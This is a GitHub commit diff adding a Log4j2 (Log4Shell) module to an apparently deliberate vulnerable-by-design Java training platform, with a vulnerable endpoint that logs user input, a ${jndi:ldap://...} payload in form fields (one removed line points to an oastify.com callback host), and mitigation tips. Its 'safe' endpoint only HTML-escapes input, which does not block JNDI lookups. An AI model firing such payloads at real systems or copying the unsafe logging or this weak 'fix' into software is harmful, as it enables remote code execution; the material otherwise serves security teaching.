Skip to content

Commit 9b58c8e

Browse files
committed
add log4j2 module
1 parent 61833d7 commit 9b58c8e

File tree

5 files changed

+96
-119
lines changed

5 files changed

+96
-119
lines changed

README.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,21 +25,23 @@
2525

2626
## 项目灵感
2727

28-
实习期间在甲方单位待了半年多,有机会可以接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发朋友修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?**
28+
曾在甲方单位工作过一段时间,有机会可以接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发朋友修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?**
2929
​ 由此,一个想法💡油然而生,恰巧自己也懂些开发知识,想着可不可以通过代码的方式让研发朋友快速了解漏洞的产生与修复……
3030

3131
> 平台提供相关漏洞的安全编码规范,甲方朋友在做SDL/DevSecOps建设的时候,可以考虑加入开发安全培训这一环节
3232
3333
​ 此外,自己也做过安全服务类项目,我想大部分朋友会和我一下,只是按照 信息收集->外网打点->发现漏洞->输出报告 这个流程测试,对于漏洞怎么产生、怎么修复,似乎并不关心……
3434

35-
​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,呐,这就是代码审计
35+
​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,来完成代码审计工作
3636

3737
> 平台针对每种漏洞提供对应缺陷代码、多种安全安全修复方式(例如:1、升级修复 2、非升级修复),同时针对代码审计,平台也提供相关漏洞的SINK点
3838
39-
​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,想想看,茴香豆的"茴"都有4种写法,一个漏洞的触发方式当然也不尽相同,所以项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下……
39+
​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下……
4040

4141
> 平台针对同种漏洞提供多种触发场景
4242
43+
……
44+
4345
## 技术架构
4446

4547
​ SpringBoot + Spring Security + MyBatis + Thymeleaf + Layui

pom.xml

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -226,12 +226,6 @@
226226
<version>1.4.14</version>
227227
</dependency>
228228

229-
<!-- <dependency>-->
230-
<!-- <groupId>log4j</groupId>-->
231-
<!-- <artifactId>log4j</artifactId>-->
232-
<!-- <version>1.2.17</version>-->
233-
<!-- </dependency>-->
234-
235229
<!-- log4Shell -->
236230
<dependency>
237231
<groupId>org.apache.logging.log4j</groupId>
@@ -245,6 +239,12 @@
245239
<version>2.8.2</version>
246240
</dependency>
247241

242+
<dependency>
243+
<groupId>org.apache.commons</groupId>
244+
<artifactId>commons-text</artifactId>
245+
<version>1.9</version> <!-- 使用最新稳定版本 -->
246+
</dependency>
247+
248248

249249
<!-- shiro-550 -->
250250
<dependency>

src/main/java/top/whgojp/modules/components/log4j2/controller/Log4j2Controller.java

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import org.apache.logging.log4j.Logger;
66
import org.springframework.stereotype.Controller;
77
import org.springframework.web.bind.annotation.*;
8+
import org.apache.commons.text.StringEscapeUtils;
89

910

1011
/**
@@ -33,5 +34,16 @@ public String vulLog4j2(@RequestParam("payload") String payload) {
3334
return "[+]Log4j2反序列化:"+payload;
3435
}
3536

37+
@PostMapping("/safe")
38+
@ResponseBody
39+
public String safeLog4j2(@RequestParam("payload") String payload) {
40+
payload = StringEscapeUtils.escapeHtml4(payload);
41+
42+
System.out.println("[+]Log4j2反序列化:"+payload);
43+
logger.error(payload);
44+
return "[+]Log4j2反序列化:"+payload;
45+
}
46+
47+
3648

3749
}

src/main/resources/static/js/staticcode.js

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1723,7 +1723,12 @@ const safeXstreamWhiteList = "@RequestMapping(\"/safe-WhiteList\")\n" +
17231723
" return \"组件漏洞-Xstream Safe-WhiteList\";\n" +
17241724
"}\n"
17251725

1726-
const vulLog4j2 = "vulLog4j2"
1726+
const vulLog4j2 = "@PostMapping(\"/vul\")\n" +
1727+
"@ResponseBody\n" +
1728+
"public String vulLog4j2(@RequestParam(\"payload\") String payload) {\n" +
1729+
"\tlogger.error(payload);\t//此处解析${}从而触发漏洞\n" +
1730+
"\treturn \"[+]Log4j2反序列化:\"+payload;\n" +
1731+
"}"
17271732
const safeLog4j2 = "safeLog4j2"
17281733

17291734
const vulShiro = "@GetMapping(\"/getAESKey\")\n" +

src/main/resources/templates/vul/components/log4j2.html

Lines changed: 67 additions & 109 deletions
Original file line numberDiff line numberDiff line change
@@ -27,10 +27,10 @@ <h1><span class="iconfont icon-bug"> 漏洞环境</span></h1>
2727
<div class="layui-tab-content">
2828
<div class="layui-tab-item layui-show">
2929
<blockquote class="layui-elem-quote main_btn">
30-
<form class="layui-form" id="vul-log4j2-form"
30+
<form class="layui-form" id="vul-log4j2-form" th:action="@{/log4j2/vul}" method="post"
3131
style="display: flex; justify-content: space-between;">
32-
<input name="payload" type="text" style="width: 450px;"
33-
value='${jndi:ldap://vul.5cikvpzkcpk11hycgky8buc970dr1ip7.oastify.com/test}'
32+
<input type="text" style="width: 450px;" name="payload"
33+
value='${jndi:ldap://此处替换为dnslog地址/test}'
3434
autocomplete="off"
3535
class="layui-input" id="vul-log4j2-input">
3636
<div style="display: flex; align-items: center;">
@@ -49,21 +49,13 @@ <h1><span class="iconfont icon-bug"> 漏洞环境</span></h1>
4949
<div class="layui-card-header"><i class="fa fa-bullhorn icon-tip"></i>tips</div>
5050
<div class="layui-card-body layui-text layadmin-text">
5151
<pre style="color: #28333e;font-size: 15px;">漏洞原理:
52-
log4j2在日志输出中,一旦在log字符串中检测到${},就会调用lookup查询尝试解析其中的字符串,如果未对字符合法性进行严格的限制,攻击者构造恶意的URL地址让其解析,利用 JNDI协议加载的远程恶意脚本,从而造成RCE。</pre>
52+
log4j2在日志输出中,一旦在log字符串中检测到${},就会调用lookup查询尝试解析其中的字符串,如果未对字符合法性进行严格的限制,攻击者构造恶意的URL地址让其解析,利用 JNDI协议加载的远程恶意脚本,从而造成RCE。
53+
安全编码规范:
54+
升级方案:升级Log4j至2.15.0及以上稳定版本
55+
临时缓解:修改配置文件log4j2.component.propertieslog4j2.formatMsgNoLookups=True</pre>
5356
</div>
5457
</div>
5558
</div>
56-
57-
<div class="layui-col-md12">
58-
<div class="layui-card">
59-
<div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果
60-
</div>
61-
<div class="layui-card-body layui-text layadmin-text">
62-
<pre id="vul-log4j2-result" style="color: red;font-size: 15px;"></pre>
63-
</div>
64-
</div>
65-
</div>
66-
6759
</div>
6860
</div>
6961
</div>
@@ -77,66 +69,66 @@ <h1><span class="iconfont icon-code"> 缺陷代码</span></h1>
7769
</div>
7870
</div>
7971

80-
<div class="layui-col-md12" style="margin-top: 10px">
81-
<div class="layui-row layui-col-space15">
82-
<div class="layui-col-md6">
83-
<h1><span class="iconfont icon-anquan"> 安全环境</span></h1>
84-
<div class="layui-tab layui-tab-brief">
85-
<div class="layui-tab-content">
86-
<div class="layui-tab-item layui-show">
87-
<blockquote class="layui-elem-quote main_btn">
88-
<form class="layui-form" id="safe-fastjson-form"
89-
style="display: flex; justify-content: space-between;">
90-
<input type="text" style="width: 450px;"
91-
value='{"test":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}'
92-
autocomplete="off"
93-
class="layui-input" id="safe-log4j2-input">
94-
<div style="display: flex; align-items: center;">
95-
<button class="layui-btn layui-btn-normal"
96-
style="width: 100px; margin-left: 10px;"
97-
lay-filter="safe-log4j2-submit" lay-submit="">
98-
<span class="iconfont icon-zhihang">Run</span>
99-
</button>
100-
</div>
101-
</form>
102-
</blockquote>
103-
</div>
104-
105-
<div class="layui-col-md12">
106-
<div class="layui-card">
107-
<div class="layui-card-header"><i class="fa fa-bullhorn icon-tip"></i>tips</div>
108-
<div class="layui-card-body layui-text layadmin-text">
109-
<pre style="color: #28333e;font-size: 15px;">安全编码规范:
110-
1、升级版本至1.2.83及以上
111-
2、禁用AutoType或者是设置特定类白名单进行反序列化
112-
3、使用SafeMode模式
113-
4、使用@JSONType注解限制类的反序列化</pre>
114-
</div>
115-
</div>
116-
</div>
117-
118-
<div class="layui-col-md12">
119-
<div class="layui-card">
120-
<div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果
121-
</div>
122-
<div class="layui-card-body layui-text layadmin-text">
123-
<pre id="safe-log4j2-result" style="color: red;font-size: 15px;"></pre>
124-
</div>
125-
</div>
126-
</div>
127-
128-
</div>
129-
</div>
130-
</div>
131-
132-
<div class="layui-col-md6">
133-
<h1><span class="iconfont icon-code"> 安全代码</span></h1>
134-
<div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">
135-
<div class="code-editor" id="safeLog4j2"></div>
136-
</div>
137-
</div>
138-
</div>
139-
</div>
72+
<!-- <div class="layui-col-md12" style="margin-top: 10px">-->
73+
<!-- <div class="layui-row layui-col-space15">-->
74+
<!-- <div class="layui-col-md6">-->
75+
<!-- <h1><span class="iconfont icon-anquan"> 安全环境</span></h1>-->
76+
<!-- <div class="layui-tab layui-tab-brief">-->
77+
<!-- <div class="layui-tab-content">-->
78+
<!-- <div class="layui-tab-item layui-show">-->
79+
<!-- <blockquote class="layui-elem-quote main_btn">-->
80+
<!-- <form class="layui-form" id="safe-fastjson-form" th:action="@{/log4j2/vul}" method="post"-->
81+
<!-- style="display: flex; justify-content: space-between;">-->
82+
<!-- <input type="text" style="width: 450px;" name="payload"-->
83+
<!-- value='${jndi:ldap://此处替换为dnslog地址/test}'-->
84+
<!-- autocomplete="off"-->
85+
<!-- class="layui-input" id="safe-log4j2-input">-->
86+
<!-- <div style="display: flex; align-items: center;">-->
87+
<!-- <button class="layui-btn layui-btn-normal"-->
88+
<!-- style="width: 100px; margin-left: 10px;"-->
89+
<!-- lay-filter="safe-log4j2-submit" lay-submit="">-->
90+
<!-- <span class="iconfont icon-zhihang">Run</span>-->
91+
<!-- </button>-->
92+
<!-- </div>-->
93+
<!-- </form>-->
94+
<!-- </blockquote>-->
95+
<!-- </div>-->
96+
97+
<!-- <div class="layui-col-md12">-->
98+
<!-- <div class="layui-card">-->
99+
<!-- <div class="layui-card-header"><i class="fa fa-bullhorn icon-tip"></i>tips</div>-->
100+
<!-- <div class="layui-card-body layui-text layadmin-text">-->
101+
<!-- <pre style="color: #28333e;font-size: 15px;">安全编码规范:-->
102+
<!-- 1、升级版本至1.2.83及以上-->
103+
<!-- 2、禁用AutoType或者是设置特定类白名单进行反序列化-->
104+
<!-- 3、使用SafeMode模式-->
105+
<!-- 4、使用@JSONType注解限制类的反序列化</pre>-->
106+
<!-- </div>-->
107+
<!-- </div>-->
108+
<!-- </div>-->
109+
110+
<!-- <div class="layui-col-md12">-->
111+
<!-- <div class="layui-card">-->
112+
<!-- <div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果-->
113+
<!-- </div>-->
114+
<!-- <div class="layui-card-body layui-text layadmin-text">-->
115+
<!-- <pre id="safe-log4j2-result" style="color: red;font-size: 15px;"></pre>-->
116+
<!-- </div>-->
117+
<!-- </div>-->
118+
<!-- </div>-->
119+
120+
<!-- </div>-->
121+
<!-- </div>-->
122+
<!-- </div>-->
123+
124+
<!-- <div class="layui-col-md6">-->
125+
<!-- <h1><span class="iconfont icon-code"> 安全代码</span></h1>-->
126+
<!-- <div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">-->
127+
<!-- <div class="code-editor" id="safeLog4j2"></div>-->
128+
<!-- </div>-->
129+
<!-- </div>-->
130+
<!-- </div>-->
131+
<!-- </div>-->
140132

141133
</div>
142134
</div>
@@ -186,40 +178,6 @@ <h1><span class="iconfont icon-code"> 安全代码</span></h1>
186178
value: safeLog4j2
187179
}));
188180

189-
// 表单提交的通用函数
190-
function handleFormSubmit(url, inputSelector, outputSelector) {
191-
var content = $(inputSelector).val();
192-
if (content.length === 0) {
193-
layer.msg("输入内容不能为空!");
194-
return false; // 阻止表单提交
195-
}
196-
197-
$.ajax({
198-
url: url,
199-
type: "POST",
200-
contentType: "application/json",
201-
data: content, // 直接发送输入的内容
202-
success: function (result) {
203-
console.log(result)
204-
$(outputSelector).empty();
205-
$(outputSelector).append(result);
206-
},
207-
error: function () {
208-
layer.alert("请求发送失败!");
209-
},
210-
});
211-
212-
return false; // 阻止表单默认提交行为
213-
}
214-
215-
form.on('submit(vul-log4j2-submit)', function (data) {
216-
return handleFormSubmit("[[@{/log4j2/vul}]]", "#vul-log4j2-input", "#vul-log4j2-result");
217-
});
218-
219-
form.on('submit(safe-log4j2-submit)', function (data) {
220-
return handleFormSubmit("[[@{/log4j2/safe}]]", "#safe-log4j2-input", "#safe-log4j2-result");
221-
});
222-
223181
});
224182

225183
$('.log4j').hover(function () {

0 commit comments

Comments
 (0)